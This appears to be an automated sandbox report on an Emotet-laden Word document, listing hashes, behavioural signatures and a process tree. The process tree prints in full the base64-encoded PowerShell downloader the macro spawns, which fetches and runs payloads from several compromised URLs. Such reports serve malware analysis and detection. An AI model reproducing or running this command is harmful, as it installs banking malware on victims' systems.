Analysis

  • max time kernel
    132s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/10/2020, 02:40

General

  • Target
    emotet_e2_61cf4ff84de3e35dd24e8df00464aa832912b8c378cbffc5da91abc576c809fd_2020-10-17__023645174055._doc.doc
  • Size 154KB
  • Sample201017-4kpn1xa63e
  • SHA256 61cf4ff84de3e35dd24e8df00464aa832912b8c378cbffc5da91abc576c809fd
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_61cf4ff84de3e35dd24e8df00464aa832912b8c378cbffc5da91abc576c809fd_2020-10-17__023645174055._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABYAGkAYwB4AGMAeAA5AD0AKAAoACcARwA3ACcAKwAnAHkAJwApACsAKAAnADAAJwArACcAZgB2ADIAJwApACkAOwAkAE4AdQBvAGUAMABiADQAPQAkAEUAagA4ADYAdQBhAG0AIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAEkANwBuAHYAMABjAGQAOwAkAEkAOQBoADIAMABmADIAPQAoACgAJwBQACcAKwAnAHIAXwAzADYAbAAnACkAKwAnADYAJwApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAQwByAGAARQBgAEEAdABFAGAAZABJAFIARQBDAFQAbwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHcATwAnACsAJwA1ACcAKQArACgAJwBXAHQAJwArACcAMgBpACcAKQArACgAJwB4ACcAKwAnAHQAagB3ACcAKQArACgAJwBPACcAKwAnADUASAAnACsAJwBwACcAKwAnADYAbQBrAGcAaQB3ACcAKQArACcATwA1ACcAKQAgAC0AYwByAGUAUABMAGEAYwBlACAAIAAoACcAdwAnACsAJwBPADUAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKQA7ACQAUgAzAGYAYgBqAG8AOAA9ACgAKAAnAFgAbgAnACsAJwBsACcAKQArACgAJwBoAGsAbQAnACsAJwBsACcAKQApADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAFIASQB0AGAAeQBQAFIAYABvAFQATwBDAE8ATAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgAiAFQAYABMAFMAMQAyACIAOwAkAFUAbAB4AGkAbgBhAGUAPQAoACgAJwBOACcAKwAnAHoAaQBjACcAKQArACgAJwBhAHUAJwArACcANgAnACkAKQA7ACQARgB2ADcAeQBfADQAcAAgAD0AIAAoACgAJwBBAHkAJwArACcAOAAnACkAKwAoACcAZwA5ACcAKwAnAGIAJwApACkAOwAkAFgAYQBrADUAdwA1AHUAPQAoACgAJwBIACcAKwAnAGcANQAwACcAKQArACcAdAB5ACcAKwAnAHgAJwApADsAJABSAHkAZQB0AHYAZgA1AD0AKAAnAEkAcwAnACsAKAAnAGwAJwArACcAZwB4ACcAKQArACcAcQBlACcAKQA7ACQAQwAwAGIAMwBvAGsAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwA2AHcAJwArACgAJwBsAFcAJwArACcAdAAyAGkAeAAnACkAKwAoACcAdABqADYAdwAnACsAJwBsAEgAcAAnACkAKwAnADYAJwArACgAJwBtAGsAJwArACcAZwBpACcAKQArACgAJwA2AHcAJwArACcAbAAnACkAKQAuACIAcgBlAFAAYABsAGEAYwBlACIAKAAoAFsAYwBoAEEAUgBdADUANAArAFsAYwBoAEEAUgBdADEAMQA5ACsAWwBjAGgAQQBSAF0AMQAwADgAKQAsACcAXAAnACkAKQArACQARgB2ADcAeQBfADQAcAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFQAagAxAGgAYwBnAHMAPQAoACgAJwBZACcAKwAnADIAMAAnACkAKwAoACcAOAAnACsAJwBoAHcAbAAnACkAKQA7ACQATwBfAGUAMABsAGwAOQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBFAG4AdAA7ACQAVABmAGgAawBpADkAbAA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AdwAnACsAJwBpAHcAJwApACsAJwBpAGwAJwArACgAJwBkAGMAYQAnACsAJwByAGUALgBvAHIAZwAvACcAKwAnAHcAJwApACsAKAAnAHAAJwArACcALQBpAG4AYwBsAHUAZAAnACkAKwAnAGUAcwAnACsAJwAvACcAKwAnAFIAJwArACcAaQAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwBnACcAKwAnAHkAYQBuAGQAJwArACcAYQByAGIAJwArACcAYQAnACsAJwByAC4AYwBvAG0AJwApACsAKAAnAC8ARQBEACcAKwAnAFUALwAnACkAKwAoACcAdwAnACsAJwBCAHUAJwApACsAKAAnAGIATAByAEIALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AZwAnACsAJwBpAGEAbgBuACcAKwAnAGEAJwApACsAJwBzACcAKwAoACcAcAAnACsAJwBzAHkAYwBoAGkAJwApACsAKAAnAGMAcwB0AHUAJwArACcAZABpACcAKwAnAG8ALgBjAG8AJwApACsAKAAnAG0ALwBjACcAKwAnAGcAJwApACsAKAAnAGkAJwArACcALQBiACcAKQArACgAJwBpAG4AJwArACcALwBBAEEASAAnACkAKwAoACcAcgAvACcAKwAnACoAaAB0AHQAcAA6AC8AJwArACcALwAnACsAJwBiAGUAJwApACsAJwByAGsAJwArACgAJwBlAHkAdwAnACsAJwBhAHQAZQAnACkAKwAnAHIAJwArACgAJwBmAGkAbAB0ACcAKwAnAGUAJwApACsAKAAnAHIAcABsAHUAcwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGEAZABtACcAKQArACcAaQAnACsAKAAnAG4ALwBBAC8AKgBoAHQAJwArACcAdAAnACsAJwBwACcAKQArACgAJwA6ACcAKwAnAC8ALwBtAHkAJwArACcAYQBuAG0AYQByACcAKwAnAGwAZQAnACkAKwAoACcAZwBhACcAKwAnAGwAJwApACsAKAAnAHMAZQAnACsAJwByAHYAJwApACsAKAAnAGkAYwBlACcAKwAnAHMALgBjAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhACcAKwAnAGQAbQBpAG4AJwApACsAJwAvADgAJwArACgAJwA3AE0AJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvAGIAZQBzACcAKwAnAHQAZwAnACkAKwAoACcAdQBuAHMAJwArACcAYQAnACsAJwBmAGUAdAB5AC4AYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAbQAnACsAKAAnAGkAJwArACcAbgAvAHUAMgAzAHoASwAnACsAJwBrADIALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgAnACsAJwAvAC8AbQBhAG4AdABlACcAKwAnAG4AYQBuAGUAdwAnACsAJwBzACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwApACsAKAAnAHQAJwArACcAZQAnACsAJwBuAHQALwBHAC8AKgBoACcAKQArACcAdAB0ACcAKwAnAHAAcwAnACsAKAAnADoALwAvACcAKwAnAGwAaQAnACkAKwAoACcAYwBpAG8AJwArACcAdQAnACkAKwAoACcAcwBiACcAKwAnAGIAbAAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AaQBuACcAKwAnAGMAJwApACsAJwBsACcAKwAnAHUAZAAnACsAKAAnAGUAcwAvADUAawAnACsAJwA4ACcAKwAnAG4ALwAnACkAKQAuACIAcwBQAGAATABJAFQAIgAoACQASgBsAGoAdAA0AHQAcwAgACsAIAAkAE4AdQBvAGUAMABiADQAIAArACAAJABGAHAAcwBkAHMAbgBsACkAOwAkAEIAdwBpAGsAMABxAGsAPQAoACgAJwBEACcAKwAnADkAdQAnACkAKwAoACcANQBnACcAKwAnADkAegAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgB5AGkAZwBzAHQAegAgAGkAbgAgACQAVABmAGgAawBpADkAbAApAHsAdAByAHkAewAkAE8AXwBlADAAbABsADkALgAiAEQAYABvAHcATgBgAEwATwBBAEQAZgBgAEkAbABFACIAKAAkAEIAeQBpAGcAcwB0AHoALAAgACQAQwAwAGIAMwBvAGsAaQApADsAJABFAF8ANQBsAGgAdwBxAD0AKAAoACcAVAAwAGEAJwArACcAeQB6ACcAKQArACcAcAB6ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABDADAAYgAzAG8AawBpACkALgAiAEwAZQBgAE4ARwBUAGgAIgAgAC0AZwBlACAAMwAzADEAMQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAJwArACcAbgAzACcAKwAnADIAXwBQAHIAbwAnACkAKwAoACcAYwAnACsAJwBlAHMAcwAnACkAKQApAC4AIgBDAFIARQBgAEEAdABFACIAKAAkAEMAMABiADMAbwBrAGkAKQA7ACQARAA2AHcAbgBiAG8AOQA9ACgAJwBUACcAKwAnAG8AJwArACgAJwA2ADAAJwArACcAeQB2AGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAFQAOAB0AHUAXwB4AHEAPQAoACcAQQB0ACcAKwAoACcAXwAnACsAJwBxAHgAJwApACsAJwA0ADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAHAAYgBkAGQAbgBmAD0AKAAoACcAVwBsACcAKwAnAHAAaAAnACkAKwAoACcAdgAnACsAJwBqAGQAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Drops file in System32 directory
    PID:1584

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1508-2-0x0000000008A70000-0x0000000008A74000-memory.dmp

        memory/1508-5-0x0000000006D50000-0x0000000006F50000-memory.dmp

        memory/1584-6-0x000007FEF1A20000-0x000007FEF240C000-memory.dmp

        memory/1584-7-0x00000000022D0000-0x00000000022D1000-memory.dmp